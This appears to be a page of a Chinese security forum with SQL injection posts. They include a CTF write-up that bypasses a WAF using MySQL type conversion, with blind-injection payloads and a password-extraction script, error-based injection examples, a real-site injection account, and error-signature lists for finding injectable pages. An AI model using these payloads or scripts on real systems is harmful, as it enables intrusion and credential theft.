SQL

SQL

既然预编译参数化查询可以防止sql注入,为什么还要用过滤sql关键字的方法去防御

Web安全渗透reber 回复了问题 • 1 人关注 • 1 个回复 • 349 次浏览 • 2018-05-24 15:41 • 来自相关话题

利用mysql的隐式类型转换绕过waf注入

Web安全渗透lawliet 发表了文章 • 5 个评论 • 934 次浏览 • 2018-05-21 00:30 • 来自相关话题

今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框






结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字#、,、union、--+、and、or、|、%26(&的url编码)简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空mysql> select * from users where username=''-'';
Empty set (0.00 sec) 由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error








构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误








按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度uname='-(length(passwd)=passwd的长度)-'&passwd=123456当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error











通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break为了更好的理解脚本,可以看看以下我测试时写的查询语句mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec) 最后跑出密码






MD5在线解密一下




nishishabi1438用户名admin,密码nishishabi1438,登陆成功





  查看全部
今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框

BKJ21D2858.png


结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字
#、,、union、--+、and、or、|、%26(&的url编码)
简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如
mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)
在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看
mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句
mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看
mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空
mysql> select * from users where username=''-'';
Empty set (0.00 sec)
由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error

E7FLDcFlBk.png




构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误

5Adfbcg230.png




按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度
uname='-(length(passwd)=passwd的长度)-'&passwd=123456
当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error

ebgKLjl969.png


6800eBgjbK.png


通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码
import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break
为了更好的理解脚本,可以看看以下我测试时写的查询语句
mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec)
最后跑出密码

6F8e68Ha50.png


MD5在线解密一下

hik351lm3b.png
nishishabi1438
用户名admin,密码nishishabi1438,登陆成功

J8h7d48C81.png

 

sql server update 报错注入

数据库SQL语言 发表了文章 • 1 个评论 • 572 次浏览 • 2017-09-22 11:06 • 来自相关话题

众测的时候碰到的,好像这个也没什么可写的。
update mosuan set xx=11,bb='xx',nobb=1 where id = 1
直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1
sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
  查看全部
众测的时候碰到的,好像这个也没什么可写的。
update mosuan set xx=11,bb='xx',nobb=1 where id = 1

直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1

sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
 

【答案已发】【SQL注入挑战】你好我是宇智波铁柱,英文名: .......

数据库SQL语言 发表了文章 • 4 个评论 • 656 次浏览 • 2017-08-02 21:11 • 来自相关话题

要求:报错注入,别扫描,拿到数据库里面flag{xxxxx}的字样
数据库名:sqltest
题目地址:sqltest233.0aa.me/sqltest/index.php?id=2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss2017.08.03 14:07 提示2:join
 
答案在附件里面。
  查看全部
要求:报错注入,别扫描,拿到数据库里面flag{xxxxx}的字样
数据库名:sqltest  
题目地址:sqltest233.0aa.me/sqltest/index.php?id=
2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss
2017.08.03 14:07 提示2:join
 
答案在附件里面。
 

百度SQL注入挑战赛payload

数据库SQL语言 发表了文章 • 4 个评论 • 501 次浏览 • 2017-07-21 22:13 • 来自相关话题

5月份的时候参加了一次百度的sql注入挑战赛,没有太多的亮点。
 
详情看附件吧。
 
转载带上Auther: Mosuan 就行。
5月份的时候参加了一次百度的sql注入挑战赛,没有太多的亮点。
 
详情看附件吧。
 
转载带上Auther: Mosuan 就行。

Mysql下Union注入Bypass安全狗(支持跨库查询)#2

Web安全渗透Mosuan 发表了文章 • 3 个评论 • 491 次浏览 • 2017-02-21 12:47 • 来自相关话题

在跟p神交流的时候他说了一句没有from就不算绕过,我再看了下安全狗,发现还有更好的方法过安全狗。
详情看附件。
 
在跟p神交流的时候他说了一句没有from就不算绕过,我再看了下安全狗,发现还有更好的方法过安全狗。
详情看附件。
 

记一次失败的注入到越权的过程

渗透测试Mosuan 发表了文章 • 3 个评论 • 626 次浏览 • 2017-02-10 13:55 • 来自相关话题

现在已经修复,由于厂商需要打码,所以只截取部分截图。
目标站:php+mysql  过滤单引号 转义双引号 有腾讯云和百度云加速。

url:www.xxxx.com/mybox?action=detail&id=255&type=receive​
这个是我测试的返回包





 
尝试修改id值为254没有返回值,说明sql语句判断了当前用户身份,这里忽略越权了。





 
尝试用or去判断发现查询回来第一条数据,可注入
www.xxxxx.com/mybox?action=detail&id=254%20or%202&type=receive





 
用函数去判断发现被腾讯 or 百度云加速拦截了....






经过反复测试猜测sql为:
select * from xxx where userid=xxx and id = 255(这里可控)
www.xxxxx.com/mybox?action=detail&id=255||1&type=receive  这里用||来判断,因为or 后面跟limit会被腾讯云拦截。 
 






按照我们之前的说法这样应该是查询出所有数据,他代码里面应该查询出的数据集只取第一条,所以返回的是id为1的数据。还在代码里面过滤单引号,转义双引号等....
利用limit注入出数据....
www.xxxxx.com/mybox?action=detail&id=255||1 limit 5,1&type=receive 





 
因为个人技术原因不深入了…两个宇宙waf太厉害了。失败的注入过程,勉强能越权。
  查看全部


现在已经修复,由于厂商需要打码,所以只截取部分截图。
目标站:php+mysql  过滤单引号 转义双引号 有腾讯云和百度云加速。


url:www.xxxx.com/mybox?action=detail&id=255&type=receive​
这个是我测试的返回包

1.png

 
尝试修改id值为254没有返回值,说明sql语句判断了当前用户身份,这里忽略越权了。

2.png

 
尝试用or去判断发现查询回来第一条数据,可注入
www.xxxxx.com/mybox?action=detail&id=254%20or%202&type=receive

3.png

 
用函数去判断发现被腾讯 or 百度云加速拦截了....

4.png


经过反复测试猜测sql为:
select * from xxx where userid=xxx and id = 255(这里可控)
www.xxxxx.com/mybox?action=detail&id=255||1&type=receive  这里用||来判断,因为or 后面跟limit会被腾讯云拦截。 
 

3.png


按照我们之前的说法这样应该是查询出所有数据,他代码里面应该查询出的数据集只取第一条,所以返回的是id为1的数据。还在代码里面过滤单引号,转义双引号等....
利用limit注入出数据....
www.xxxxx.com/mybox?action=detail&id=255||1 limit 5,1&type=receive 

6.png

 
因为个人技术原因不深入了…两个宇宙waf太厉害了。失败的注入过程,勉强能越权。
 

整理一些可能存在sql注入的报错信息

编程saline 发表了文章 • 6 个评论 • 1196 次浏览 • 2017-01-12 11:09 • 来自相关话题

常见的存在sql注入的页面plainArray = [
'Microsoft OLE DB Provider for ODBC Drivers',
'Error Executing Database Query',
'Microsoft OLE DB Provider for SQL Server',
'ODBC Microsoft Access Driver',
'ODBC SQL Server Driver',
'supplied argument is not a valid MySQL result',
'You have an error in your SQL syntax',
'Incorrect column name',
'Syntax error or access violation:',
'Invalid column name',
'Must declare the scalar variable',
'Unknown system variable',
'unrecognized token: ',
'undefined alias:',
'Can\'t find record in',
'Unknown table',
'Incorrect column specifier for column',
'Column count doesn\'t match value count at row',
'Unclosed quotation mark before the character string',
'Unclosed quotation mark',
'Call to a member function row_array() on a non-object in',
'Invalid SQL:',
'ERROR: parser: parse error at or near',
'): encountered SQLException [',
'Unexpected end of command in statement [',
'[ODBC Informix driver][Informix]',
'[Microsoft][ODBC Microsoft Access 97 Driver]',
'Incorrect syntax near ',
'[SQL Server Driver][SQL Server]Line 1: Incorrect syntax near',
'SQL command not properly ended',
'unexpected end of SQL command',
'Supplied argument is not a valid PostgreSQL result',
'internal error [IBM][CLI Driver][DB2/6000]',
'PostgreSQL query failed',
'Supplied argument is not a valid PostgreSQL result',
'pg_fetch_row() expects parameter 1 to be resource, boolean given in',
'unterminated quoted string at or near',
'unterminated quoted identifier at or near',
'syntax error at end of input',
'Syntax error in string in query expression',
'Error: 221 Invalid formula',
'java.sql.SQLSyntaxErrorException',
'SQLite3::query(): Unable to prepare statement:',
'<title>Conversion failed when converting the varchar value \'A\' to data type int.</title>',
'SQLSTATE=42603',
'org.hibernate.exception.SQLGrammarException:',
'org.hibernate.QueryException',
'System.Data.SqlClient.SqlException:',
'SqlException',
'SQLite3::SQLException:',
'Syntax error or access violation:',
'Unclosed quotation mark after the character string',
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near',
'PDOStatement::execute(): SQLSTATE[42601]: Syntax error:',
'<b>SQL error: </b> no such column'
];


常见存在sql注入页面的特征regexArray = [
"(Incorrect\ssyntax\snear\s'[^']*'),"
"(Syntax error: Missing operand after '[^']*' operator),"
"/Syntax error near\s.*?\sin the full-text search condition\s,"
"/column "\w{5}" does not exist,"
"/near\s[^:]+?:\ssyntax\serror,"
"(pg_query\(\)[:]*\squery\sfailed:\serror:\s),"
"('[^']*'\sis\snull\sor\snot\san\sobject),"
"(ORA-\d{4,5}:\s),"
"(Microsoft\sJET\sDatabase\sEngine\s\([^\)][i]\)<br>Syntax\serror(.[/i])\sin\squery\sexpression\s'.[i]\.<br><b>.[/i],\sline\s\d+<\/b><br>),"
"(<h2>\s<i>Syntax\serror\s(\([^\)][i]\))?(in\sstring)?\sin\squery\sexpression\s'[^\.][/i]\.<\/i>\s<\/h2><\/span>),"
"(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.[i])?in\squery\sexpression\s'(.[/i])\.<\/font>),"
"(<b>Warning<\/b>:\s\spg_exec\(\)\s\[\<a\shref='function.pg\-exec\'\>function\.pg-exec\<\/a>\]\:\sQuery failed:\sERROR:\s\ssyntax error at or near \&quot\;\\\&quot; at character \d+ in\s<b>.*<\/b>),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\s\([^)][i]?\)\sin\squery\sexpression\s.[/i]),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\sin\sstring\sin\squery\sexpression\s),"
"(Data type mismatch in criteria expression|Could not update; currently locked by user '.[i]?' on machine '.[/i]?'),"
"(<font style="COLOR: black; FONT: 8pt\/11pt verdana">\s+(\[Macromedia\]\[SQLServer\sJDBC\sDriver\]\[SQLServer\]|Syntax\serror\sin\sstring\sin\squery\sexpression\s)),"
"(Unclosed\squotation\smark\safter\sthe\scharacter\sstring\s'[^']*'),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\): supplied argument is not a valid MySQL result resource in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\) expects parameter \d+ to be resource, \w+ given in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[^']*' at line \d),"
"(Query\sfailed\:\sERROR\:\scolumn\s"[^"]*"\sdoes\snot\sexist\sLINE\s\d),"
"(Query\sfailed\:\sERROR\:\s+unterminated quoted string at or near),"
"(The string constant beginning with .*? does not have an ending string delimiter\.),"
"(Unknown column '[^']+' in '\w+ clause')"
]; 查看全部
常见的存在sql注入的页面
plainArray = [
'Microsoft OLE DB Provider for ODBC Drivers',
'Error Executing Database Query',
'Microsoft OLE DB Provider for SQL Server',
'ODBC Microsoft Access Driver',
'ODBC SQL Server Driver',
'supplied argument is not a valid MySQL result',
'You have an error in your SQL syntax',
'Incorrect column name',
'Syntax error or access violation:',
'Invalid column name',
'Must declare the scalar variable',
'Unknown system variable',
'unrecognized token: ',
'undefined alias:',
'Can\'t find record in',
'Unknown table',
'Incorrect column specifier for column',
'Column count doesn\'t match value count at row',
'Unclosed quotation mark before the character string',
'Unclosed quotation mark',
'Call to a member function row_array() on a non-object in',
'Invalid SQL:',
'ERROR: parser: parse error at or near',
'): encountered SQLException [',
'Unexpected end of command in statement [',
'[ODBC Informix driver][Informix]',
'[Microsoft][ODBC Microsoft Access 97 Driver]',
'Incorrect syntax near ',
'[SQL Server Driver][SQL Server]Line 1: Incorrect syntax near',
'SQL command not properly ended',
'unexpected end of SQL command',
'Supplied argument is not a valid PostgreSQL result',
'internal error [IBM][CLI Driver][DB2/6000]',
'PostgreSQL query failed',
'Supplied argument is not a valid PostgreSQL result',
'pg_fetch_row() expects parameter 1 to be resource, boolean given in',
'unterminated quoted string at or near',
'unterminated quoted identifier at or near',
'syntax error at end of input',
'Syntax error in string in query expression',
'Error: 221 Invalid formula',
'java.sql.SQLSyntaxErrorException',
'SQLite3::query(): Unable to prepare statement:',
'<title>Conversion failed when converting the varchar value \'A\' to data type int.</title>',
'SQLSTATE=42603',
'org.hibernate.exception.SQLGrammarException:',
'org.hibernate.QueryException',
'System.Data.SqlClient.SqlException:',
'SqlException',
'SQLite3::SQLException:',
'Syntax error or access violation:',
'Unclosed quotation mark after the character string',
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near',
'PDOStatement::execute(): SQLSTATE[42601]: Syntax error:',
'<b>SQL error: </b> no such column'
];


常见存在sql注入页面的特征
regexArray = [
"(Incorrect\ssyntax\snear\s'[^']*'),"
"(Syntax error: Missing operand after '[^']*' operator),"
"/Syntax error near\s.*?\sin the full-text search condition\s,"
"/column "\w{5}" does not exist,"
"/near\s[^:]+?:\ssyntax\serror,"
"(pg_query\(\)[:]*\squery\sfailed:\serror:\s),"
"('[^']*'\sis\snull\sor\snot\san\sobject),"
"(ORA-\d{4,5}:\s),"
"(Microsoft\sJET\sDatabase\sEngine\s\([^\)][i]\)<br>Syntax\serror(.[/i])\sin\squery\sexpression\s'.[i]\.<br><b>.[/i],\sline\s\d+<\/b><br>),"
"(<h2>\s<i>Syntax\serror\s(\([^\)][i]\))?(in\sstring)?\sin\squery\sexpression\s'[^\.][/i]\.<\/i>\s<\/h2><\/span>),"
"(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.[i])?in\squery\sexpression\s'(.[/i])\.<\/font>),"
"(<b>Warning<\/b>:\s\spg_exec\(\)\s\[\<a\shref='function.pg\-exec\'\>function\.pg-exec\<\/a>\]\:\sQuery failed:\sERROR:\s\ssyntax error at or near \&quot\;\\\&quot; at character \d+ in\s<b>.*<\/b>),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\s\([^)][i]?\)\sin\squery\sexpression\s.[/i]),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\sin\sstring\sin\squery\sexpression\s),"
"(Data type mismatch in criteria expression|Could not update; currently locked by user '.[i]?' on machine '.[/i]?'),"
"(<font style="COLOR: black; FONT: 8pt\/11pt verdana">\s+(\[Macromedia\]\[SQLServer\sJDBC\sDriver\]\[SQLServer\]|Syntax\serror\sin\sstring\sin\squery\sexpression\s)),"
"(Unclosed\squotation\smark\safter\sthe\scharacter\sstring\s'[^']*'),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\): supplied argument is not a valid MySQL result resource in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\) expects parameter \d+ to be resource, \w+ given in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[^']*' at line \d),"
"(Query\sfailed\:\sERROR\:\scolumn\s"[^"]*"\sdoes\snot\sexist\sLINE\s\d),"
"(Query\sfailed\:\sERROR\:\s+unterminated quoted string at or near),"
"(The string constant beginning with .*? does not have an ending string delimiter\.),"
"(Unknown column '[^']+' in '\w+ clause')"
];

求助!关于Github博客-Markdown编码问题

安全资讯秋彼岸 回复了问题 • 6 人关注 • 2 个回复 • 722 次浏览 • 2017-01-09 12:02 • 来自相关话题

对WAF的粗略见解

Web安全渗透秋彼岸 发表了文章 • 5 个评论 • 367 次浏览 • 2017-01-06 21:10 • 来自相关话题

对WAF的粗略见解(排版不好谅解)

    SQL注入产生,不做更多解释了,对于网站WAF,做渗透测试都遇到过,对于新兵,难免遇到抓脑,曾一度错误认为waf是进驻在进程中,监视监管web请求过来的数据,多说无益,请仔细阅读;

1.什么是WAF?

        Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。说直白点就是,过滤用户提交的请求,不用搞那么复杂;

2.WAF具备那些功能?

            1.审计设备
                对于系统自身安全相关的事件产生审计记录:比如:用户操作行为、安全策略操作行为;
            2.访问控制设备
                用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。
            3.架构/网络设计工具
                当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
            4.WEB应用加固工具
                这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。
            注:需要说明的一点,不是称为Web应用防火墙的设备都同时具有以上四种功能。
        *.补充:
            WEB应用防火墙还具有多面性的特点:
                1.从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;
                2.从防火墙角度来看,WAF是一种防火墙的功能模块;
                3.也可以把WAF看作“深度检测防火墙”的增强。
                注(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)

3.Web中WAF:
        这里只谈web环境中的WAF,目前,waf最大的目的是防止SQL注入;智慧的人类创造了锁,必然会有钥匙,号称不可逆的MD5,咳咳。。。。。
        举例:
            扯了半天WAF那么它是怎么工作的那?请看下图:










            1.图1,描述的环境,图2,解说WAF处理请求的过程;
            2.当收到客户端请求,apache收到请求,通过配置文件里定义的方法,检查请求内容是否合法;
            3.那么有了WAF就一定安全了吗?答案,当然肯定是否的;

    3.1.那么问题来了,waf如何能做到进驻配置文件的哪?
           1.它是安装WAF过程中,修改了APACHE的配置文件,并且重启了apache服务,让其生效;(如图)






4.实践测试:
